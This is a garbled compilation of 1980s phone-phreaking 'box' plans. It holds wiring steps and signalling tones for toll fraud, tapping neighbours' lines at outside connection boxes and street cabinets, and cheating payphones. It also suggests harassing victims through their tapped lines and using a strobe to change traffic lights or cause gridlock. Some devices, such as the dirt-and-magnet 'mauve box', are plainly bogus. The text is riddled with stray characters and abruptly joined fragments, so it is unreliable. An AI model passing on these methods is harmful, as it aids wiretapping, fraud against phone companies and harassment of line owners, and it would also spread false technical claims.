assistance by using XXX-555-1212, (Where XXX is the area code you are check out. Now hold down the "D" key as soon as you finish dialing. (If you are using the SILVER BOX that I showed you how to make; Switch to SILVER BOX tones and hold down the "#" key.) The phone should start ringing and the operator will answer. If the operator screams at you to stop pressing your keypad, then hang up and try a diffrent areacode. (This one does not work.) If you nRUget a pulsing tone the you got a good line! Now try out different numbers. 6 and 7 usually form a loop line and two people with SILVER BOXES can talk.

It said that you get static because the voltage is not getting regulated very well. So why not have a box that keeps the voltage regulated so that you can avoid static? This would be very useful when calling a BBS with an extender that flakes-out and gives you garbage on the screen. So here it is... * Note: These are our firstq X: box plans with schematics, and electronics that I made, so bear with me. And yes, this has been tested. EQUIPMENT 1. (2) Size 'AA' Batteries, and holder (You could use a adapter, so you won't have to buy batteries...ex. A 3,6,9,12 volt adapter in one!) 2. (1) Two fone line connector (Has two plugs from one) 3.

That will remove static. This will be useful in using 2400 baud on an extender (because of shitty lines). You may want to make the voltage 9 volts, with a 9 volt battery uPP?holder. What the hell, make two, one for 3 volts (Normal stuff), and one for 9 volts (Special connections like 2400 baud on a extender). Be sure not to leave it hooked up, because it may make your phone act funny, and people may not get calls through! You could use even a bigger voltage, an use it as "Lock 'n Trace", and make some asshole squirm! NOTE: This is the second release of this file.

(The ones that attach it to the mounting bracket.) and CAREFULLY remove the keypad from the mounting bracketga_ק. 3: You will notice a plastic cover on the keypad; seperate the two halves and get the out of your way. (Don't destroy them, you will need them later.) 4: Now, look at the top of the pad (so the 123 row is facing away, and the *0# row is toward you. Turn over the keypad. You should see a mass of wires, gold plated contacts, discrete components, and two large doughnut shaped black thingies. (These are the coils hat make the touch-tone frequencies. Alhhl you are going to do is connect the wires that Ma Bell "Forgot" to.) 5: Look at the coil on the left (with 5 solder contacts facing you, rather than being perpendicular to you.) Count over 4 contacts FROM the left (or 2 conacts FROM the right) and solder the GRAY wire to the fourth post FROM the left. 6: Solder the other end of the GRAY wire to the LEFT pole of the SPDT switch. 7: (The point of no return).......... Take a look at the bottom edizB-ge of the keypad. You should see a row of three gold plated contacts (to the right of two very large capasitors) look at the one on the left and GENTELY seperate the two touching connectors (They are soldered together with a drop of solder) and spread them apart. 8: Solder the brown wire to the top contact (The one futhest from you), and solder it to the RIGHT pole of SPDT switch. 9: Now, take the blue wire and solder it to the bottom (Closest) contactjb{ .

Or another fun thing is call up a Rodent Bridge and blast this thing with your stereo at full... Wala! The bridgX)Ye will most likely be clear, even they won't sit through that shit. It is a good idea to hit Radio Shack for a project box and soderless curcuit board, because this can be messy and a project box can easily make you look like a pro. One more use for it is if your computer can generate tones to match a Box of some sort, this makes a GREAT amplifier for it, with almost no loss in clearity. If you have any problems with a humm or it intercepting radio transmittioYiyns, then call up good-old Bell and get a line static clearer dealy and splice that into the box via the outgoing line, which SHOULD clear it up. If that does not seem to help, try putting a 9v battery (you know, the square ones) on the red and green phone lines, because this will make up for the power the box drains from the line.

A third method has recently appeared which is a real mind blower. A phreak in the Midwest has extensively tested a method of red boxing which uses nothing more than a pair of brass or aluminum whistles. The whistles are 1/4 inch in diameter by 4 inches long and are tuned by means of a wooden dowel rod which fits snugly inside. The whistles can be brought precisely on frequency byL'Q tuning them against a known signal source such as a computer capable of producing the tones. Once tuned, the whistles are glued or taped together so they can be blown together to produce the dual tone used in coin signaling. It has been tested and proven that with a little practice these whistles can be used to make free calls.

Forget about climbing a telephone pole this sort of boxing can be done on the ground. Purpose: To tap your neighbors line without your neighbor knowing it. You can also make FREE (let me repeat that) FREE!! Phone calls to your favorite K-RAD-GNEW-WAREZ boards. Materials: 1. Line Man's headset (no you can't buy one that's why we'reB34g making one you IDIOT) 2. Alligator clips (clips is Plural so you need Two) 3. A phone (preferbly one of those one peice kind that like the ones with the numbers and the thing the hangs up on the ONE phone piece) 4. A Telephone wall jack box or whatever they're called 5. Some green and some red wire 6. Some intelligence (very Much needed) Plans: First hook up your one piece phone to the wall jack box. Then take the alligator clips and aC4Httach red wire to one and green wire to the other one. You should have 2 alligator clips with wire attached. Now strip the wire and open the Wall jack box you have and attach the red wire with the red screw on the box and the green wire with the green screw on the box.

Coin tones are beeps of 2200 Hz + 1700 Hz as follows: 5 cents - 1 beep, 66 milliseconJ% ds duration. 10 cents - 2 beeps, each 66 milliseconds duration with 66 millisecond pause between beeps. 25 cents - 5 beeps, each 33 milliseconds duration with a 33 millisecond pause between beeps. Two methods have commonly been used by phone phreaks to produce these tones and make free calls. 1. The traditional Red Box consisting of a pair of Wien-bridge oscillators with the timing controlled by 555 timer chips. 2. Producing the signals with a com5<"Ml you how to make a portable silver box out of: A Radio Shack touch tone pad Some wire A Soldering iron And a SPDT switch NOTE: You should have an I.Q. above room tempature before attempting this. Also, read all of this article before starting. WARNING: This may be hazardous to your freedom. 1} Take off the plastic cover that stores the batteries and remove the screw that is in the center of the batteries. Now use 6= a screw driver to pry open the box. 2} Now you should have the two halves in your hands. On the side that has the circuit board, it should be held by two clips. Remove the circuit board now. 3} You should now be able to see the back side of the keypad. Connecting the the key pad and the circuit board is a ribben cable. With the ribben ends connected to the keypad away from you, count from the left over four wires. On the fourth wire, take and cut the pla7>E.+stic on either side on the wire. Then desolder it. 4} Now stare at the circuit board. Look at the connections of the chip. (SEE FIG.) There should be four pins not connected to anything. On the ninth pin (first row, first pin) solder a 3 inch wire to it. The other end goes to the left side of the spdt switch. 5} Go back to the cable. Solder a 2 inch to the ribben cable you just took out. This is because it won't reach the switch. The other end goes to8?.I+ right side of the switch. 6} Now take a two inch wire and solder it to the hole that the cable came out of. Becareful not to get solder on the other wires. Now take the other end and solder it to the middle of the switch. 7} Make a hole in the top of the case to put the switch through. And put it back together. THE FIGURE OF THE CHIP.

It takes only six components and a PC board if you want. The Purple Box is a telephone hold button. It will allow you to switch phones very easily. A red LED indicates when a party is on hold and is automatically extinguished when either party releases the line. To install your Purple Box, remove the telephone case and locate the red and green wires. From the green wire, make a connection to L1 and from the red wire a connection to L2. <C@6 To test the circuit, call a friend and then while pressing the push button, hang up the phone. As soon as the phone is on the hook, you may let go of the push button. Parts: D1 = Light Emitting Diode (LED) D2 = 1N4003 Diode R1 = 820 ohm 1/2 Watt R2 = 1K ohm 1/2 Watt S1 = N.O.

The Pearl Box when operated correctly can pro- duce tones from  S`61-9999hz. As you can see, 2600, 1633, 1336 and other crucial tones are obviously in its sound spectrum. Materials you will need in order to build The Pearl Box: ======================================================== C1, C2::::::::.5mf or .5uf ceramic disk capacitors Q1::::::::::::NPN transistor (2N2222 works best) S1::::::::::::Normally open momentary SPST switch S2::::::::::::SPST toggle switch B1::::::::::::Standard 9-Volt battery R1::::::::::::Single!TVDž turn, 50k potentiometer R2:::::::::::: " " 100k potentiometer R3:::::::::::: " " 500k potentiometer R4:::::::::::: " " 1meg potentiometer SPKR::::::::::Standard 8-ohm speaker T1::::::::::::Mini transformer (8-ohm works best) Misc.:::::::::Wire, solder, soldering iron, PC board or perfboard, box to contain the completed unit, battery clip Instructions for building The Pearl Box: ======================================="UǡC= Since the instruction are EXTREMELY difficult to explain in words, you will be given a schematic instead. It will be quite difficult to follow but try it any way. There is also a Hi-Res picture you can get that shows the schematic in great detail.

The potentiometer area is rigged so that the left pole is connected to the center pole of the potentiometer next to it. The middle terminal of T1 is connected to the piece of wire that runs down to the end of the battery. Correct operatio%XAn of The Pearl Box: =================================== You may want to get some dry-transfer decals at Radio Shack to make this job a lot easier. Also, some knobs for the tops of the potentiometers may be useful too. Use the decals to calibrate the knobs. R1 is the knob for the ones place, R2 is for the tens place, R3 if for the hundreds place and R4 is for the thousands place. S1 is for producing the all the tones and S2 is for power. Step 1: Turn on the pow&Y2er and adjust the knobs for the desired tone. (Example: For 2600 hz- R1=0:R2=0:R3=6:R4=2) Step 2: Hit the pushbutton switch and VWALA! You have the tone. If you don't have a tone recheck all connections and schematic. If you still don't have a tone call Brainstorm BBS:612-345-2815, The Bay:415-775-2384 or Pirate's Harbor:617-720-3600 and leave me e-mail stating what the scene is. ______________________________________________________________________'ZSW________ This has been a High Mountain Hackers presentation - 1985 ______________________________________________________________________________ Shakepeare is currently working on an improved version of the Pearl Box.. look for the ppplans soon! *********************************************************** * MEMBER NAME: PINKBOX * ([OHm * *********************************************************** (>:::::::::::::::::::::::::::::::::::<) (> <) (> Pink Box Plans <) (> -------------- <) (> <) (>:::::::::::::::::::::::::::::::::::<) Pink box a)Fllows you to hook two separate phone lines together to have three way calling with hold on either line, and well as bringing a dial tone into the conversation woth someone and allowing them to dial the number touch tone, and it will connect three way, and when they hang up, it will disconnect three way calling, no more playing with the hook for 3 way!!! schematix: L1 L2 / \ / \ R G ]nENED, LOOK FOR THE RED AND BLACK WIRES THAT LEAD TO THE MOUTH- PIECE.

You have two choices for ringers, a piezoelectric transducer (ringer), or a standard 8 ohm speaker. The speaker has a more pleasant tone to it, but either will do fine. This circuit can also be used in conjunction with a rust box to control an external something or other when the phone rings. Just connect the 8 ohm speaker output to the inputs on the rust box, and control the pot to tune it to light thea light (which can be replaced by a relay for external controlling) when the phone rings. ______________ | | NC --|-- 5 4 --|-----/X/X/------->G | | / R2 G<----)|----|-- 6 3 --|-- NC | C3 | U1 | -------|-- 7 2 --|---------- --- -- - > TO RINGER | | ----|-- 8 1 --|-- | |______________b c| | | ---/X/X/----|(----- L1 | R1 C1 ------------------------------------------ L2 a.

This File Created | | November 24th, 1986, 19:08 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Please bear with me, as the construction of this box will seem rather silly. This box was found in a construction site. Or rather, it found us at a construction site. We were using a $5 Radio Shack phone out of a semi-completed office building. One afternoon during a holid jp`Kay, and immediately following a storm, we found our bus in shambles. To our suprise, we also found that one of the phone connections we were tapping had been draped through a murky puddle. The fact that suprised us even more was that this line still worked and now posessed some great capibilities. Materials: 2 tupperware or similar 8oz contianers 1 small bag earth (dirt) (12oz) 1 pint water 2 lantern batteries 1 nine v kI oolt battery 1 battery clip 2 SPST switches 4 ounces of iron shavings 2 polar magnets 5 feet wire 1 set soldering equipment This is the part you won't believe. Take the tupperware containers, and fill them with a mixture of the earth and the iron shavings. Make sure that the mixture is well done. (*NOTE* for best results, use the sand in fine ash trays.) Cut the cut the red and green wires and splice the switches into t ld(lhem. From the switches, solder wire to the magnets. Connect the red to the + (positive) side of one magnet, and the green to the - (negative) side of the second magnet. From the other poles of the magnet, solder wires the battery & clip. Make sure the + (positive) and - (negative) are correct. Set the nine-volt battery between the two tupperware containers and place the battery end of the two magnets into the tupperware. Now connecmb\gt wire to the two poles of the lantern battery, and place them in the same containers as the poles of the magnets/9-volt battery. You are almost done. Finally, add just enough water to the two pots, and let them sit in the sun and bake like bricks. at this point, you have a MAUVE BOX. Explaning and Using What You Have: The red and green wires have been places into a magnetic field which is being charged continually be a lannإtern battery. (It is necessary to change this battery every one to one and a half months.) This will literaly pull in the nearest phone conversatiion. (Don't try this in a big apartment or dorm.) When the 9-volt battery is connected, this will now create enough current for the poles of the magnets to reverse themselves (perhaps you're seen Mr. Wizard do this. It's just like with the soap). At this point, you have a phone transmitto[ing to one (if not more) of the nearest phones. (Again, if you're in a dorm, don't try this.) I suppose this just accomplishes what a tap would do, but with a MAUVE BOX, your fingerprints never will show on a terminal or on someones telephone lines. Notes and Addendum: This will only work with a touch-tone phone connected to a phone line. When the switches are pulled, it's off your line and into the air. This is namep+?d a MAUVE BOX, becuase this is the most disgusting box, and I find mauve to be the single most disgusting colour I know of. Also, this file is for information purposes only. This is not to be used in an illegal manner. Perhaps one of these by the pool, sending to your seth co-author, accept no responsibility for your actions with the MAUVE BOX.

It would be helpful to you if you used one color for the line #1 clips and another for the line #2 clips. It will work even if you get the ring and tip mixed up, but you must get all of the clips on the right line. But, to be safe, you could put tags on each clip labeling it RING #1, TIP #2, ect. Installation. Find one of those green posts that are about 3 feet high. They are everywhere. Get xna socket wrench to open it up. There will be (a) row(s) of paired up posts. Each pair of posts represents a line. YOU *MUST* KNOW THE NUMBER OF LINE #1. Sometimes the number is tagged on to the pair of wires leading up to the posts, if so pick these posts as your line #1. Then you can pick any other set of posts for line #2. Now to the good part. Use of the the final product. When you call up line one from your house you will get a dial tone almost immediateyly. Using DTMF you can dial anywhere that the person who owns line 2 has service to. Which means you can direct dial alliance, Australia, and your favorite BBS for FREE. The Telco. will undoubtably discover the device after 2 days, so post the number on your favorite boards so you can abuse it while it is in service. With a 2000 uF capacitor and a 1 meg resistor you will get a 50 minute call before it disconnects you. By lowering the value of the resistorzŸS and capacitor you can change the time to your taste. So don't dial a wrong number, because you will have to wait 50 minutes until it resets again. The formula for the time is the following: 2*R1 C1 C1 is in microfarads ---- * ---- R1 is in Kohms 100 10 See schematic for location of R1 and C1. ----------- = Minutes 60 The time produced by this formula is only approximate. Well, that is one of the more{kH complicated boxes to build. But it is very useful and will pay for itself with its first use. It would be wise to remove it before the Telco. finds it so you won't have to make another, or install it on a line that belongs to a family that is on vacation (GOOD IDEA) Well, there it is. I hope it saves you a lot of cash. If you wish to have one built for you. Leave me E-mail on the Iron Curtain or the CornerStone or any other board I frequent. It won't|~} be more than $15, hopefully it will only be about $8. *********************************************************** * MEMBER NAME: MAUVE * * *********************************************************** _________________________ /~~~~~~~~~~~~~~~~~~~~~~~~~\ gEy | How to Build Your Own | | | | |\ /| _ __ | | | \/ | |_| | | | | |__ | | | | | | |_| \/ |__ | | __ | | | \ _ | | |__/ / \ \_/ | | ~, antenna for longer distances.

(ALMOST THE ONLY GOOD THING I CAN SAY ABOUT RADIO SHACK IN THIS ARTICLE) HAPPY PHREAKING..... l ***********X ************************************************ * MEMBER NAME: LIGHT * * *********************************************************** How To Make An In-Use Light From The Night Owl AE This file describes the operation and construction of a device that will 33 signal whether or not an extension of a particular phone line is off-hook. It does NOT indicate whether or not a phone is being tapped, and will light whenever any extension is picked up. The principle under which this device operates is that there is a voltage across the red and green wires of the phone line (the other wires are rarely used) that drops significantly when an extension is lifted. Though this voltage can be used to power a light on its own, te}he light would have to be of a very low power consumption in order not to keep the phone off-hook, and it would only light when the phone is on-hook. A simple way to get around the above problem is to use a low current relay. Radio Shack sells some nice 12VDC SPDT relays that work well for this purpose. Don't buy the red relays or the subminis; though you want a low current coil, you also want the contacts to be able to handle a decent current. DPDT (double pxole, double throw) will also work, you just won't use the other contacts. For a 12 volt coil, the voltage will have to be dropped so that the relay will function properly. The proper resistance is around 10K ohms, but it is best to use a 5K ohm fixed resistor and a 10K ohm variable (standard values, any combination that can cover the 10K range will work fine). Adjust it to approximately 10K, or halfway for the combination above. Connect the resistors in series with the coil, and we'll adjust it later. Due to the nature of this device (or rather, its simplicity) it will operate without having to be plugged into a phone, or vice versa. In other words, you can plug it directly into a jack anywhere, and it'll work. You'll want to get a modular plug that terminates in spade lugs for this purpose. Connect the green wire to one side of the coil, and the red to the resistors (so that it's all in series). If you don't .have an extra phone jack, then you will want to a) buy a Y connector so that two phones can be plugged into the same jack, or b) get another phone jack and install it in the same box with the in-use light, so that you can plug a phone into it. Just connect the spade lugs to their respective colors. For the light itself, you can use almost anything. Even a tiny light bulb and a battery will work fine, but after about 5 hours of phone use, you'll have to repla$ce the battery. The best thing to use is a neon bulb powered by the 110V power available most places. Buy ones with dropping resistors, or use a 220K resistor for dropping. You should also get a panel lamp assembly to keep it steady and make it look pretty. Since the current is relatively low, you can use almost any power cord, or sacrifice an old extension cord. Connect it in series with the NC (normally closed) contacts of the relay (in series with the droppi7ng resistor, of course). Your circuits should now look like this: / --------RED----!---- 5k --- 10k -------O O-------------------!-----110V / | | coil NC / | | -------GREEN---!-----------------------O O-- bulb --- 220k --!-----110V Make sure that the phone circuit (left) and the lamp circuit (right) are totally 100% separate, anmd in no danger of touching. Use wire nuts for all connections in 110V that are not to a terminal post, and tape them. For all wires that are exposed, use electrical tape or shrink-wrap tubing to insulate them. Glue the relay to the box or mount it on a stable PC board. If all looks well, hook it up. It should work immediately, but there are three things that can go wrong: 1) The relay keeps the phone off the hook. To remedy this, lower the resistancev until it doesn't. If you can't lower the resistance enough, then you are using a resistor with a high current coil and you'll have to get one with a lower rating. 2) The relay won't close. The solution for this is the same as number 1. 3) The relay stays closed. Raise the resistance with the phone on hook until the light goes off. When all is working, the lamp should be on when one or more extensions are off-hook, and will be off when ac~HD BLACK WIRES OFF AND STRIP THE RE D AND GREEN WIRES FOR BOTH LINES. LINE #1 SHOULD BE IN TWO PEICES TAKE THE GREEN WIRE OF ONE END AND CONNECT IT TO THE ONE OF THE GREEN WIRES ON THE GOLD BOX. TAKE THE OTHER HALF OF LINE # 1 AND HOOK THE FREE GREEN WIRE TO THE G REEN WIRE ON THE PHONE LINE. REPEAT THE PROCESS WITH RED1 AND THE OTHER LINE. ALL YOU NEED TO DO NOW IS TO RIGHT D OWN THE PHONE NUMBERS OF THE PLACE YOU HOOKED IT UP AT AND GO HOME AND CALL IT܇. YOU SHOULD GET A DIAL TONE!!! IF NOT LEAVE ME A MESSAGE ON THE MODEM MADNESS BBS 516-569-0589 OR TRY CHANGING THE EMITTER WITH COLLECTOR.

These are the tones that ACTS or the TSPS operator would send to the CO when appropriate. Unfortunately, the green box cannot be used at a fortress station, but must be used by the CALLED party. The tones (hz) are: COIN COLLECT 700 + 1100 COIN RETURN 1= 1100 + 1700 RINGBACK 700 + 1700 Before the called party sends any of these tones, an operator released signal should be sent to alert the MF detectors at the CO. This can be done by sending 900 + 1500 Hz or a single 2600 Hz wink (90 ms) followed by a 60 ms gap and then the appropriate signal for at least 900 ms.

JUST ABOUT EVERY MANUFACTURER OF IC]'S THAT GENERATE TOUCH TONES HAS ALSO GONE BY THE 16 KEY (8 TONE) STANDARD FOR TOUCH TONE PADS. AND IT IS EVEN EASIER TO CONVERT A TONE PAD THAT USES AN INTEGRATED CIRCUIT TO GENERATE THE TONES THAN CONVERTING A MA BELL PAD! IT WILL HELP IMMENSELY IF YOU HAVE THE SCHEMATIC FOR THE PAD IN QUESTION, OR AT LEAST THE PIN-OUT DIAGRAM OF THE CHIP BEING USED. PIN-OUTS CAN USUALLY BE OBTAINED FROM THE MANUFACTURER OR FROM AN ECG, SK, GE OR SIMILIAR SEMICONDUCTER HANDBOOK '(PROVIDED THAT MANUFACTURER MAKES AN EQUIVALENT FOR THE CHIP IN YOUR PAD). I'LL USE THE RADIO SHACK CEX-4000 TONE PAD MODULE FOR AN EXAMPLE, EVEN THOUGH IT IS PROBABLY ALMOST THE LOUSIEST ONE YOU CAN BUY, IT IS FAIRLY TYPICAL ASILY AVAILABLE. TAKE A LOOK AT THE DIAGRAM OR THE PIN-OUT OF THE CHIP. YOU SHOULD SEE TWO GROUPS OF PINS, THE ROWS TONE PINS AND THE COLUMN TONE PINS. THESE WILL BE MARKED AS R1,R2,R3,R4 AND C1,C2,C3 (RADIO SHACK) OR OR X1,X2,X3 AND Y1,Y2,Y3O9 ETC. ON OTHERS. AT ANY RATEU SHOULD BE ABLE TO DISTINGUISH WHICH THREE PINS CONTROL THE COLUMNS AND WHICH FOUR CONTROL THE ROWS. IF YOU'RE LUCKY, EACH GROUP OF ROWS AND COLUMNS WILL BE CONTIGUOUS. NOW LOOK AT THE COLUMN PINS, AND YOU'LL PROBABLY SEE AN EMPTY PIN RIGHT NEXT TO THEM. THIS IS THE COLUMN PIN FTHE 1633 HZ TONES. THESE CHIPS USUALLY ACHIEVE THEIR SWITCHING BY CONNECTING A ROW PIN WITH A COLUMN PIN (THAT WAY TQAN USE A0VERY SIMPLE KEYBOARD PAD, UNLIKE } MA BELL'S COMPLICATED ONE). SO ALL YOU HAVE TO DO IS TAKE A SPDT SWITCH AND A FEW PIECES OF WIRE, CUT THE TRACE GOING TO THE COLUMN 3 PIN OF THE CHIP, ATTACH A WIRE FROM THE CHIP SIDEOF THAT CUT TO ONE END OF THE SPDT SWITCH, A WIRE FROM THE OTHER SIDE OF THE CUT TO THE CENTER OF THE SPDT SWITCH, AND FINALLY, FROM THE REMAINING CONTACT ON THE SPDT SWITCH, HOOK A WIRE TO THE PREVIOUSLY IDENTIFIED PIN C4 (COLUMN 4). NOW YOU HAVE A "BANK SWITCHING ARRANGEMENT EXACTLY LEIKE THE ONE DESCRIBED IN THE PREVIOUS BULLETIN FOR MODIFYING A MA BELL PAD. IF YOU CAN'T GET THE SCHEMATICS OR THE PIN OUTS FOR YOUR CHIP, DON'T DESPAIR. THERE IS STILL HOPE FOR YOU! YOU JUST HAVE TO TRACK THE CONNECTIONS GOING FROM THE PAD'S KEYS TO THE CHIP.

Remove the black and yellow wires from the jack. You can either clip these or rip them out. 3. To your newly isolated jack, add the 1 foot wire extensions to the respective wires. Soldering and then wrapping the connections with electrical tape works best. 4. Next, solder the alligator clips to the extended wires. If you do not wish to solder them, then just wrap the clips witw 7h the wire. 5. Now, place this newly made contraption into a box (optional). You may need to drill a few holes, and possibly remove the alligator clips, but you should have read this file first, anyway. -> Wiring Diagram Modular--------------Red-----+----Extension wire---------< Alligator Jack --------------Green---+----Extension wire---------< Clips Pretty easy, eh? -> Usage of the day-glo box The day-glo box will wor$k with any phone. First, you need to locate a house that has a phone. Next, (it's preferable to do this at night) go up to the and locate the outside connection box. Pop the cover off. Locate prong 3 and prong 4. You will attach the green wire clip to prong 3. The red wire clip will go to prong 4. Now, plug your phone (preferably a trimline or ranger) into your modular plug. You may now either listen in on the call (wire tap) OR you may call out to anywhere in the wɧnOorld. If you are really daring, you can bring your computer with you. Note: This box may also be used in conjunction with the lunch box in order to make a perfect phone bug. -> Other neat things you can do with your new box: 1: Call 976 numbers. This should be done very frequently. Also, I find that after finding the victim's outside box, several calls to the gay hotlin will have interesting after-effects; namely, his parents wonderingtd about him. 2: Alliance teleconferencing can be accomplished quite easily. Try it! Call 0-700-456-1000. Or, tell the operator you'd like to initiate a conference. 3: Of course, you should place several calls to other countries. This can be accomplished by looking in the front of your white pages for the various country and city codes. You should be able to follow the directions provided in there. -> Using your box at aezpartments/community connection boxes: Have you ever wondered what those 6ft tall cabinets with the bell logo on them were for? Well, if you've never seen them, here's a quick description: They are 6ft tall by 3ft wide, and painted the dull phone company green. They can be opened quite easily with a 7/16ths inch socket wrench. After turning the bold over the handle, turn the handle to the right and pull. It should open, displaying over 100 different lines. OccasAěionally, you can find tech. manuals and test kits inside. They are usually located near phone lines. Okay, now, once you have opened one of these calling cabinets, locate the line of your choice. You will have to take out both the orange and the white insulated screws. The purple and white wires should come off along with the screws. The lines go out to the house, and the screw posts are the actual line. Now, you should clip the alligators to the posts, withWu one part of the clip on the insulation, and one inside the screw hole to insure the best connection. Oh, if you want the home to remain connected, clip the wires inside the hole using the alligator clips. By the way, the red terminal on your box goes to the orange post, and the green one to the white post... if that doesn't work, reverse the connection. Now, to find out the number you have taken over, dial 380-55555555. Yes, that's eight fives. A computer voice ]Lshould tell you what number you are on. heh. I hope you can take it from here. Oh, in apartments, you can find the calling cabinet in the basement... remember, this is not your line, so do anything you want. Call the President or something. Disclaimer: I, John F.

Well, a Dayȱ`-glo box will let you place calls for free with no time limit, no possibility of a wiretap, and the calls can be placed from anywhere in the world. Too good to be true, you say? Well, read on. -> How does a Day-glo box work? A day-glo box is very easy to make, and very inexpensive to build. It works like this: On the outside of every home that has a phone, there is something called "the outside connection box," which is where the house is connected to Ma BɄ:ell's network. This ingenious device connects to a) your phone, b) the victim's outside box. You should be starting to get the idea. -> How do I construct a day-glo box? Materials necessary: 1. Radio Shack modular conversion jack 2. A small experimenter's box (optional) 3. 1 foot of red wire. (better to overkill) 4. 1 foot of green wire. (same as above) 5. 2 medCium alligator clips Well, in order to construct this box, you will need all of the above materials. Note that your wire does not necessarily have to be red or green, but it is necessary that you be able to tell them apart. Also, you might want to use thick, easily bent wire (audio hookup wire works best) instead of bell wire. Now, on to the construction. 1. Remove the actual modular jack from the conversion box.

Replacing this resistor with one of smaller value will also speed up the strobe. To generate a complex pattern, you will either have to design and build a triggering circuit using IC chips, or rig up a mechanical device with a multiple-contact rotary switch and a motor. It HAS been done. To modify the strobe for mobile operation the simplest thing is to get a 110-volt inverter that will rclun off of a car battery by plugging into the cigarette lighter & run the strobe from that. Or, you can figure out (or find in a hobby electronics magazine) a strobe circuit that will run from batteries . Battery-powered strobes may also be availble, either assembled or as kits. Stealth Technology: Most light sensors and photocells are more sensitive in the infrared area of the light spectrum. Infrared (IR) is invisible to the human eye. Putting an infrared) filter over the strobe light may allow the Chrome Box to operate in traffic undetected by police or other observers. IR filters can be obtained from military surplus sniperscope illuminators, or from optical supply houses like Dow-Corning or Edmunds Scientific Co. Using the Chrome Box: Mounted on your car, the Chrome Box can guarantee you green lights at major intersections in cities that have OptoComs. Handheld Chrome Boxes may be used to create gridlock b/kty interfering with the normal flow of traffic.

The clear box works on "PostPay" payphones (fortress fones). Those are the payphones that dont require paymen#)0Lt until after the connection is established. You pick up the fone, get a dial tone, dial your number, and then insert your money after the person answers.If you dont deposit the money then you can not speak to the person on the other end- because your mouth peice is cut off, but, not the ear piece. (obviously these phones are nice for free calls to weather or time or other such recordings).All you must do is to go to your nearby Radio Shack, or electronics store,ݬYand get a four-transistor amplifier and a telephone suction cup induction pick-up. The induction pick-up would be hooked up as it normally would to record a conversation, except that it ould be plugged into the out- put of the amplifier and a microphone would be hooked to the input. So when the party that is being called answers, the caller could speak through the little microphone instead. His voice then goes through the amplifier and out the induction coil, and into the back of the reciever where it would then be broadcast through the phone lines and the other party would be able to hear the caller. The Clear Box thus 'clears up' the problem of not being heard. Luckily, the line will not be cut-off after a certain amount of time because it will wait forever for the coins to be put in.The biggest advantage for all of us about this new clear box is the fact that this type of payphone will most likely become very common. "9 Due to a few things: 1st, it is a cheap way of getting the DTF,dial-tone-first service, 2nd, it doesnt require any special equipment, (for the phone company)This payphone will work on any phone line. Ususally a payphone line is different, but this is a regular phone line and it is set up so the phone does all the charging, not the company. (>es all the charging, not the company. *********************************************************** 7* * MEMBER NAME: COPPER * * *********************************************************** @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ @ @ =->The Copper<-= @ @ =->Box<-= @ @ @ @ Concieved By @ @ The Cypher @ @ [001010]->[1101101]
